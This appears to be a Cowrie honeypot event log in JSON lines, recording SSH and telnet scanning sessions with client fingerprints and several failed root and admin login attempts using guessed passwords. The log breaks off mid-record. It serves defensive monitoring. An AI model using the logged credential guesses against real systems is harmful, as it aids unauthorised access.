{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:56.873275Z","src_ip":"193.37.70.224","session":"0b4344f724e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52868,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf810ce50e6","protocol":"telnet","message":"New connection: 135.148.14.151:52868 (159.203.135.109:23) [session: 1bf810ce50e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:59.211836Z"}
{"eventid":"cowrie.session.closed","duration":36.34530758857727,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:00.741163Z","src_ip":"135.148.14.151","session":"571e725d852e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91478514671326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:01.981018Z","src_ip":"135.148.14.151","session":"f869ca4e0a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.018760442733765,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:13.063261Z","src_ip":"135.148.14.151","session":"00b789452516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":41766,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c94e2225b2","protocol":"ssh","message":"New connection: 46.19.67.181:41766 (159.203.135.109:22) [session: c0c94e2225b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:18.281576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:18.287319Z","src_ip":"46.19.67.181","session":"c0c94e2225b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:18.402339Z","src_ip":"46.19.67.181","session":"c0c94e2225b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bogdan123","message":"login attempt [root/bogdan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:18.748683Z","src_ip":"46.19.67.181","session":"c0c94e2225b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:19.866617Z","src_ip":"46.19.67.181","session":"c0c94e2225b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.88748264312744,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:32.099210Z","src_ip":"135.148.14.151","session":"1bf810ce50e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":36860,"dst_ip":"10.17.0.5","dst_port":22,"session":"d474f24ff90c","protocol":"ssh","message":"New connection: 128.78.143.196:36860 (10.17.0.5:22) [session: d474f24ff90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:44.920408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:44.926336Z","src_ip":"128.78.143.196","session":"d474f24ff90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:45.020877Z","src_ip":"128.78.143.196","session":"d474f24ff90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:45.409654Z","src_ip":"128.78.143.196","session":"d474f24ff90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:46.509161Z","src_ip":"128.78.143.196","session":"d474f24ff90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"70653d4e91ff","protocol":"telnet","message":"New connection: 135.148.14.151:60884 (159.203.135.109:23) [session: 70653d4e91ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:47.719060Z"}
{"eventid":"cowrie.session.closed","duration":0.005397796630859375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:44:47.724334Z","src_ip":"135.148.14.151","session":"70653d4e91ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89fc0f7df0d","protocol":"telnet","message":"New connection: 135.148.14.151:42314 (159.203.135.109:23) [session: c89fc0f7df0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:45:37.954797Z"}
{"eventid":"cowrie.session.closed","duration":120.00234699249268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:45:40.315989Z","src_ip":"81.84.21.115","session":"275921544e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":43162,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceaf5cdb0bd5","protocol":"telnet","message":"New connection: 81.84.21.115:43162 (10.17.0.5:23) [session: ceaf5cdb0bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:45:41.640547Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59162,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e109398351b","protocol":"telnet","message":"New connection: 135.148.14.151:59162 (159.203.135.109:23) [session: 8e109398351b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:13.728009Z"}
{"eventid":"cowrie.session.closed","duration":37.92931365966797,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:15.883962Z","src_ip":"135.148.14.151","session":"c89fc0f7df0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":48468,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c67b8fc887","protocol":"ssh","message":"New connection: 128.78.143.196:48468 (10.17.0.5:22) [session: f5c67b8fc887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:26.052869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:26.070502Z","src_ip":"128.78.143.196","session":"f5c67b8fc887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:26.173270Z","src_ip":"128.78.143.196","session":"f5c67b8fc887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE","message":"login attempt [root/qwe123QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:26.598197Z","src_ip":"128.78.143.196","session":"f5c67b8fc887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:27.698258Z","src_ip":"128.78.143.196","session":"f5c67b8fc887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.526522397994995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:46:50.254385Z","src_ip":"135.148.14.151","session":"8e109398351b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00473833084106,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:41.645140Z","src_ip":"81.84.21.115","session":"ceaf5cdb0bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":49648,"dst_ip":"10.17.0.5","dst_port":23,"session":"768e178b7854","protocol":"telnet","message":"New connection: 81.84.21.115:49648 (10.17.0.5:23) [session: 768e178b7854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:42.968183Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":50136,"dst_ip":"10.17.0.5","dst_port":23,"session":"a841e380551a","protocol":"telnet","message":"New connection: 81.84.21.115:50136 (10.17.0.5:23) [session: a841e380551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:50.569756Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":40758,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf4f6377f7f","protocol":"ssh","message":"New connection: 147.45.211.215:40758 (10.17.0.5:22) [session: fcf4f6377f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:59.146576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:59.152628Z","src_ip":"147.45.211.215","session":"fcf4f6377f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:59.357896Z","src_ip":"147.45.211.215","session":"fcf4f6377f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karinka","message":"login attempt [root/karinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:47:59.902101Z","src_ip":"147.45.211.215","session":"fcf4f6377f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:01.085824Z","src_ip":"147.45.211.215","session":"fcf4f6377f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"26b003c97f58","protocol":"ssh","message":"New connection: 103.176.20.57:36782 (159.203.135.109:22) [session: 26b003c97f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:16.227350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:16.233198Z","src_ip":"103.176.20.57","session":"26b003c97f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:16.488539Z","src_ip":"103.176.20.57","session":"26b003c97f58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sveto4ka","message":"login attempt [root/sveto4ka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:17.253056Z","src_ip":"103.176.20.57","session":"26b003c97f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:18.510073Z","src_ip":"103.176.20.57","session":"26b003c97f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":40864,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b5055860fb","protocol":"ssh","message":"New connection: 128.78.143.196:40864 (10.17.0.5:22) [session: 23b5055860fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:25.745590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:25.754822Z","src_ip":"128.78.143.196","session":"23b5055860fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:26.372178Z","src_ip":"128.78.143.196","session":"23b5055860fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohit","password":"mohit123","message":"login attempt [mohit/mohit123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:28.622932Z","src_ip":"128.78.143.196","session":"23b5055860fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:31.485953Z","src_ip":"128.78.143.196","session":"23b5055860fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41448,"dst_ip":"159.203.135.109","dst_port":23,"session":"398542589a62","protocol":"telnet","message":"New connection: 135.148.14.151:41448 (159.203.135.109:23) [session: 398542589a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:36.926827Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"26638ed63917","protocol":"telnet","message":"New connection: 135.148.14.151:46564 (159.203.135.109:23) [session: 26638ed63917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:47.417081Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":43260,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a0174296292","protocol":"ssh","message":"New connection: 109.172.54.111:43260 (159.203.135.109:22) [session: 7a0174296292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:50.391728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:48:50.397394Z","src_ip":"109.172.54.111","session":"7a0174296292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp